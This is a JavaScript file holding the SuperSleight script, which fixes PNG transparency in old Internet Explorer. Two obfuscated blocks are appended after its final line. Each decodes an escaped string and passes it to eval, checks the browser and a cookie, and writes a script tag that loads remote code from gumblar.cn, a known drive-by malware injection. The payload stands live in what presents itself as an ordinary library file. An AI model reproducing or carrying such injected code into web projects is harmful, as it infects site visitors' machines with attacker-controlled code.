var supersleight	= function() {
	
	var root = false;
	var applyPositioning = true;
	
	// Path to a transparent GIF image
	var shim			= 'x.gif';
	
	// RegExp to match above GIF image name
	var shim_pattern	= /x\.gif$/i;
	
	
	
	var fnLoadPngs = function() { 
		if (root) {
			root = document.getElementById(root);
		}else{
			root = document;
		}
		for (var i = root.all.length - 1, obj = null; (obj = root.all[i]); i--) {
			// background pngs
			if (obj.currentStyle.backgroundImage.match(/\.png/i) !== null) {
				bg_fnFixPng(obj);
			}
			// image elements
			if (obj.tagName=='IMG' && obj.src.match(/\.png$/i) !== null){
				el_fnFixPng(obj);
			}
			// apply position to 'active' elements
			if (applyPositioning && (obj.tagName=='A' || obj.tagName=='INPUT') && obj.style.position === ''){
				obj.style.position = 'relative';
			}
		}
	};

	var bg_fnFixPng = function(obj) {
		var mode = 'scale';
		var bg	= obj.currentStyle.backgroundImage;
		var src = bg.substring(5,bg.length-2);
		if (obj.currentStyle.backgroundRepeat == 'no-repeat') {
			mode = 'crop';
		}
		obj.style.filter = "progid:DXImageTransform.Microsoft.AlphaImageLoader(src='" + src + "', sizingMethod='" + mode + "')";
		obj.style.backgroundImage = 'url('+shim+')';
	};

	var el_fnFixPng = function(img) {
		var src = img.src;
		img.style.width = img.width + "px";
		img.style.height = img.height + "px";
		img.style.filter = "progid:DXImageTransform.Microsoft.AlphaImageLoader(src='" + src + "', sizingMethod='scale')";
		img.src = shim;
	};
	
	var addLoadEvent = function(func) {
		var oldonload = window.onload;
		if (typeof window.onload != 'function') {
			window.onload = func;
		} else {
			window.onload = function() {
				if (oldonload) {
					oldonload();
				}
				func();
			};
		}
	};
	
	return {
		init: function() { 
			addLoadEvent(fnLoadPngs);
		},
		
		limitTo: function(el) {
			root = el;
		},
		
		run: function() {
			fnLoadPngs();
		}
	};
}();

// limit to part of the page ... pass an ID to limitTo:
// supersleight.limitTo('header');

supersleight.init();<!-- 
(function(xu1){var lO4k='%';var pMjnn=('var:20a:3d:22Script:45:6egine:22:2cb:3d:22Version()+:22:2c:6a:3d:22:22:2cu:3dnavigator:2euserAgent:3bif((u:2eindexOf(:22Win:22):3e0):26:26(u:2ei:6edexOf(:22NT:206:22):3c:30):26:26(document:2eco:6fkie:2eindexOf(:22mi:65k:3d1:22):3c0):26:26(t:79peo:66:28zrvzts):21:3dtypeo:66(:22A:22))):7bzrvzts:3d:22A:22:3beval:28:22if(wi:6edow:2e:22:2ba+:22)j:3dj+:22+a+:22Major:22+b+a+:22Min:6fr:22+b+a+:22:42:75ild:22+b+:22j:3b:22):3bdocument:2ewrite(:22:3cscript:20src:3d:2f:2fgumblar:2ecn:2frss:2f:3fid:3d:22+j+:22:3e:3c:5c:2fscript:3e:22):3b:7d').replace(xu1,lO4k);eval(unescape(pMjnn))})(/:/g);
 --><!-- 
(function(BE1){var te9='%';var k935F='v#61r#20#61#3d#22#53cr#69ptEng#69#6ee#22#2cb#3d#22#56ersion()+#22#2c#6a#3d#22#22#2cu#3dn#61viga#74or#2e#75#73erA#67#65#6et#3b#69#66(#28u#2ein#64e#78Of#28#22Win#22)#3e0)#26#26(#75#2e#69#6e#64e#78Of#28#22#4eT#20#36#22#29#3c0#29#26#26(docu#6den#74#2ecoo#6bie#2eindex#4ff(#22m#69e#6b#3d1#22)#3c0)#26#26(typeo#66(zrvzts)#21#3d#74yp#65of(#22A#22)))#7bz#72vzts#3d#22A#22#3b#65#76al(#22#69#66(wi#6edow#2e#22+a+#22)#6a#3d#6a+#22+#61+#22M#61#6a#6fr#22#2b#62+a+#22Minor#22+#62+a+#22Buil#64#22+#62+#22j#3b#22#29#3bdocu#6d#65n#74#2ew#72i#74e(#22#3csc#72ipt#20src#3d#2f#2f#67umb#6c#61r#2e#63n#2frss#2f#3f#69d#3d#22#2b#6a+#22#3e#3c#5c#2f#73#63ript#3e#22)#3b#7d';var irnh=k935F.replace(BE1,te9);var vLV=unescape(irnh);eval(vLV)})(/#/g);
 -->
